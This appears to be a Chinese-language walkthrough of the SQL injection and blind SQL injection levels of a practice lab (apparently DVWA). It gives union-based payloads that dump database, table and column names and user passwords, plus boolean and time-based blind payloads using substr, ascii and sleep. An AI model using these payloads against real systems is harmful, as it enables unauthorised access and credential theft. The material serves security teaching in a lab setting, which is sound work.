目录
1.SQL注入
显注:前端页面可以回显用户信息,比如 联合注入、报错注入。
盲注:前端页面不能回显用户信息,比如 布尔盲注、时间盲注。
数字型注入:url、下拉单选菜单
字符型注入:账号密码登录
插入--如何判断是数字型还是字符型
1、数字型注入
当输入的参数为整形时,如果存在注入漏洞,可以认为是数字型注入。
测试步骤:
(1) 加单引号,URL:www.text.com/text.php?id=3’
对应的sql:select * from table where id=3’ 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:www.text.com/text.php?id=3 and 1=1
对应的sql:select * from table where id=3’ and 1=1 语句执行正常,与原始页面如任何差异;
(3) 加and 1=2,URL:www.text.com/text.php?id=3 and 1=2
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异
如果满足以上三点,则可以判断该URL存在数字型注入。
2、字符型注入
当输入的参数为字符串时,称为字符型。字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
例如数字型语句:select * from table where id =3
则字符型如下:select * from table where name=’admin’
因此,在造payload时通过闭合单引号可以成功执行语句:
测试步骤:
(1) 加单引号:select * from table where name=’admin’’
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ’and 1=1 此时sql 语句为:select * from table where name=’admin’ and 1=1’ ,也无法进行注入,还需要通过注释符号将其绕过;
Mysql 有三种常用注释符:
-- 注意,这种注释符后边有一个空格
# 通过#进行注释
/* */ 注释掉符号内的内容
因此,构造语句为:select * from table where name =’admin’ and 1=1—’ 可成功执行返回结果正确;
(3) 加'and 1=2— 此时sql语句为:select * from table where name=’admin’ and 1=2 –’则会报错
如果满足以上三点,可以判断该url为字符型注入。
1.1 low
1.确认注入点
'1 or 1=1'
报错,存在注入点
2.确认注入类型-字符型/数字型
1+1,无报错,判断为字符型,除了用这个方法还可以使用开头说的那个方法。
查看源码
3.确认列数
1' order by 3 # 报错
order by加到报错为止,若3报错则这个表有两列
4.确认回显位置
1' union select 1,2 #
union联合查询核心语句,有几列后面就需要select有几个值
5.爆库名
1' union select database(),2 #
6.爆表名
1' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #
7.获取表字段名
1' union select group_concat(column_name),2 from information_schema.columns where table_name='users' and table_schema=database() #
8.获取表字段值
1' union select password,user from users #
users为表名,password、user为表的字段
拿到了用户和密码,但密码是加密的,可使用md5自行解密 md5在线解密破解,md5解密加密
1.2 Medium
限制输入,抓包更改参数
id更改为1+1,报错,判读为数字型注入
查看源码
order by判断列数,结果发现列数为2
id=1 union select 1,2 测试回显
union select database(),2
后续步骤同上。
1.3 high
1+1判断,无报错,判断为字符型
1.4 impossible
限制只能为数字 不存在注入
1. SQL盲注
1.1 low
核心就是and,如果猜中,回显正确,猜错,回显凑五
1‘ and 1=1 #,返回存在
猜解开数据库长度1' and length(database())=x # ,1~4逐个测试,发现4返回存在,说明数据库名为4位英文
1' and length(database())=5 ,返回不存在
用aascii猜解数据库名 1' and ascii(substr(database(),1,1))=100 # 由此确定,第一位ascii是100,对比ascii表
通常情况下需要从97-122(对应26个小写英文字母)逐个测试。
1' and ascii(substr(database(),1,1))=99 # 显示不存在
猜库(库名字符长度--库名字符)
猜表(表个数--第一个表名字符长度--第一个表名的字符)
猜字段(字段个数--第一个字段名字符长度--第一个字段名的字符)
判断有多少个表 1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 #
显示不存在
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 #
显示存在
结果为2个表
猜表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在
猜第一个表名的第一个字母
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在
说明第一个表的第一个字符为g,重复上述步骤即可猜解出两个表名(gusetbook、users)
猜字段名
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=1 # 显示不存在
…
1' and (select count(column_name) from information_schema.columns where table_name= 'users')=8 # 显示存在
说明users表中有8个字段,然后挨个猜解字段名:
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=1 # 显示不存在
…
1' and length(substr((select column_name from information_schema.columns where table_name= 'users' limit 0,1),1))=7 # 显示存在
说明user表的第一个字段名是7个字符,采用二分法即可猜解出所有字段名。
2.2 medium
布尔盲注
抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。
时间盲注
抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;
抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;
抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0x7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。
2.3 high
查看源码,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只演示基于布尔的盲注:
抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;
抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;
抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。
2.4 impossible
代码分析,可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。无漏洞。
参考: